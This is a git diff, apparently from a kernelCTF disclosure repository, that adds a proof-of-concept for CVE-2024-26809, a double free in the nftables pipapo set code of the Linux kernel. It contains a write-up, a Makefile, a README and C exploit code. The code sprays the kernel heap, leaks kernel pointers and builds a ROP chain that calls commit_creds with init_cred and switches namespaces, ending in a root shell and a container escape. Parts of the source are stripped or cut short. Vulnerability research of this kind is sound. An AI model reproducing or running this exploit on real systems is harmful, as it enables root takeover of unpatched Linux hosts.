diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md new file mode 100644 index 000000000..9f8baead8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/exploit.md @@ -0,0 +1,156 @@ +# Exploit detail about CVE-2024-26809 +If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + + +## Cause anaylysis + +In the `function nft_pipapo_destroy`, when the set is dirty, it destroys all the set elements in match and clone: +```c +static void nft_pipapo_destroy(const struct nft_ctx *ctx, + const struct nft_set *set) +{ + struct nft_pipapo *priv = nft_set_priv(set); + struct nft_pipapo_match *m; + int cpu; + + m = rcu_dereference_protected(priv->match, true); + if (m) { + ... + nft_set_pipapo_match_destroy(ctx, set, m); + ... + } + + if (priv->clone) { + m = priv->clone; + + if (priv->dirty) + nft_set_pipapo_match_destroy(ctx, set, m); + ... +``` + + But an element may be in match and clone at the same time. Therefore, calling nft_pipapo_destroy when a set is dirty may cause double-free problems. + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set A. +- Create an element B in A. +- Create an element C in A.(Make set A dirty.) +- Delete set A. (Here will destroy the element B twice because of CVE-2024-26809.) + +By the way, we need to send the command of step 3 and step 4 together. + +## Exploit it + +The steps for exploiting CVE-2024-26809 and [CVE-2024-1085](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-1085_lts/docs/exploit.md) are basically similar. + +### Target object caches +Because the `setelem` object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256` + +### Exploit detail +I exploit CVE-2024-26809 by following steps: + +- 1. Create a pipapo set `A`. +- 2. Create element `B` and element `C` in set `A`.(Two elements are created here because if only one element is created to trigger the vulnerability, the same heap will be released twice in succession, which will cause the kernel to crash in subsequent exploits.) +- 3. Trigger the vulnerability by following messages: + + ```c + memset(key,0x43,0x40); + msg_list[0] = new_setelem_msg(table, pipapo_set, pad, 0x80, target_obj, key, 0x40, NULL, 0);//Create element D in set A, which will make set A dirty + msg_list[1] = del_set_msg(table, pipapo_set);//Trigger nft_pipapo_destroy + send_msg_list(socket, msg_list, 2); + ``` + After this we kfree the set element `B` and `C` twice like this: + ```c + kfree(element B); + kfree(element C); + kfree(element B); + kfree(element C); + kfree(element D); + ``` +- 4. Try to alloc the heap of the set element `C` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table E` and `nft_table F`. +- 5. Delete `nft_table E`. +- 6. Spray heap to get the heap of `nft_table E->udata` +back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` because I want to leak the `ops` pointer of the `nft_expr`. +- 7. Dump `nft_table F`. Now we leak `nft_last_ops`. +- 8. Create another set element `G`. Then dump the `nft_table F` again. We can get the pointer of the set element `G` because each bitmap set element has a doubly linked list. + ```c + struct nft_bitmap_elem { + struct list_head head; + struct nft_set_ext ext; + }; + ``` +- 9. Delete set element `G`. Fill the heap memory of set element `G` through heap spraying. + ```c + //ops->dump + *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret + //ops->type + *(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type + spray_tables(socket,0x200, pad, 0x80); + ``` +- 10. Delete `nft_table F`. +- 11. Fill the heap memory of `nft_table F ->udata` with fake `nft_expr` and ROP gadget. +- 12. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget. + ```c + static int nf_tables_fill_expr_info(struct sk_buff *skb, + const struct nft_expr *expr) + { + if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name)) + goto nla_put_failure; + + if (expr->ops->dump) { + struct nlattr *data = nla_nest_start_noflag(skb, + NFTA_EXPR_DATA); + if (data == NULL) + goto nla_put_failure; + if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here + goto nla_put_failure; + nla_nest_end(skb, data); + } + ... + + ``` + +### ROP detail + +The assembly code when calling expr->ops->dump is as follows: + +``` + mov rax, [rbp+0] + mov rsi, rbp + mov rdi, rbx + mov rax, [rax+40h] + call __x86_indirect_thunk_rax +``` +So the `rbp` is the pointer of the current `nft_expr`. We fill it by following: +```c + ... + //build fake setelem + *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops + //start ROP + *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret expr[0]->data + ... +``` + +The first step of ROP start looks like this(We fill the ops pointer in step 8): +``` +expr->ops->dump(skb, expr) --> leave ; ret +``` +This will finally makes this happen: + +``` +rsp = element + 0x28 // mov rsp, rbp +rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28]) +rsp = element + 0x30 +rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30]) +rsp = element + 0x38 +``` +After completing the stack migration, we can run ROPgadget and finally get the root shell. diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..adbfe08e1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/docs/vulnerability.md @@ -0,0 +1,25 @@ +# Vulneribility + In function `nft_pipapo_destroy, when the set is dirty, it destroys all the set elements in match and clone, which may cause double-free of the set elements. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit 9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e]((https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nft_set_pipapo.c?h=linux-6.1.y&id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e)) + + +## Commit which fixed the vulnerability +- [commit b0e256f3dd2ba6532f37c5c22e07cb07a36031ee](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee) + +## Affected kernel versions +- 6.1-rc1 and later +- 5.15.54 and later + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile new file mode 100644 index 000000000..397d6c673 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/Makefile @@ -0,0 +1,10 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit + diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README new file mode 100644 index 000000000..4293045d4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/README @@ -0,0 +1,2 @@ +Exploit for kctf cos-105-17412.294.34 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit new file mode 100644 index 000000000..7493b12c5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c new file mode 100644 index 000000000..c9a3c7652 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c @@ -0,0 +1,340 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" + +char *leak_data = NULL; +char *table_udata = NULL; +int table_num = 0; +uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; + +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_get_table(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_TABLE_MAX+1]; + memset(tb_msg, 0, NFTA_TABLE_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + if (tb_msg[NFTA_TABLE_NAME]){ + printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME])); + } + if (tb_msg[NFTA_TABLE_USERDATA]){ + free(table_udata); + table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA])); + nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA])); + } + return NL_OK; +} + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;iops target. + bitmap_key++; + new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0); + snprintf(tmp, 0x100, "table for test %d", b); + get_table(socket2, tmp); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Get next setelem : %llx\n",*(uint64_t *)table_udata); + + uint64_t ops_addr = *(uint64_t *)table_udata; + //Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type + del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0); + //ops->dump + *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff811b0023;//leave ; ret + //ops->type + *(uint64_t *)&pad[0x70] = kernel_off + 0xFFFFFFFF8371BF00;//last type + spray_tables(socket,0x200, pad, 0x80); + //Now we try to control ip by faking another expr in set elem. + //build fake setelem + *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops + //start ROP + *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xFFFFFFFF813E36EE;//pop rdi; ret + *(uint64_t *)&setelem_data[0x38] = kernel_off + 0xFFFFFFFF83462180;//init_cred + *(uint64_t *)&setelem_data[0x40] = kernel_off + 0xFFFFFFFF8110E830;//commit_creds; + *(uint64_t *)&setelem_data[0x48] = kernel_off + 0xFFFFFFFF813E36EE;//pop rdi ; ret + *(uint64_t *)&setelem_data[0x50] = 1; + *(uint64_t *)&setelem_data[0x58] = kernel_off + 0xFFFFFFFF81105680;//find_task_by_vpid + *(uint64_t *)&setelem_data[0x60] = kernel_off + 0xffffffff8102c701;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&setelem_data[0x68] = 0; + *(uint64_t *)&setelem_data[0x70] = kernel_off + 0xffffffff811aaf4a;//pop rsi ; ret + *(uint64_t *)&setelem_data[0x78] = kernel_off + 0xFFFFFFFF83461F40;//init_nsproxy + *(uint64_t *)&setelem_data[0x80] = kernel_off + 0xFFFFFFFF8110CE30;//switch_task_namespaces + *(uint64_t *)&setelem_data[0x88] = kernel_off + 0xFFFFFFFF82002107;//swapgs; ret + *(uint64_t *)&setelem_data[0x90] = kernel_off + 0xFFFFFFFF822011A7;//iretq + *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell; + *(uint64_t *)&setelem_data[0xa0] = user_cs; + *(uint64_t *)&setelem_data[0xa8] = user_rflags; + *(uint64_t *)&setelem_data[0xb0] = user_rsp|8; + *(uint64_t *)&setelem_data[0xb8] = user_ss; + + //del table b first + del_table(socket, tmp); + //Try to get it back and control RIP + bitmap_key = i; + int t=0; + while(1){ + sleep(0.1); + spray_tables(socket, 1, setelem_data, 0xd0); + get_setelem(socket, table, bitmap_set, &bitmap_key, 2); + printf("%d\n",t); + t++; + } + + printf("End\n"); + while(1); +} + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + exploit(socket); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h new file mode 100644 index 000000000..35c65df8b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/obj.h @@ -0,0 +1,134 @@ +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 6);//IPPROTO_TCP + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h new file mode 100644 index 000000000..72451d0e3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/set.h @@ -0,0 +1,164 @@ +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + +void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //struct nl_msg *data = nlmsg_alloc(); + + //nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + //nla_put_nested(msg2, NFTA_SET_DESC, data); + //nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + +struct nlmsghdr 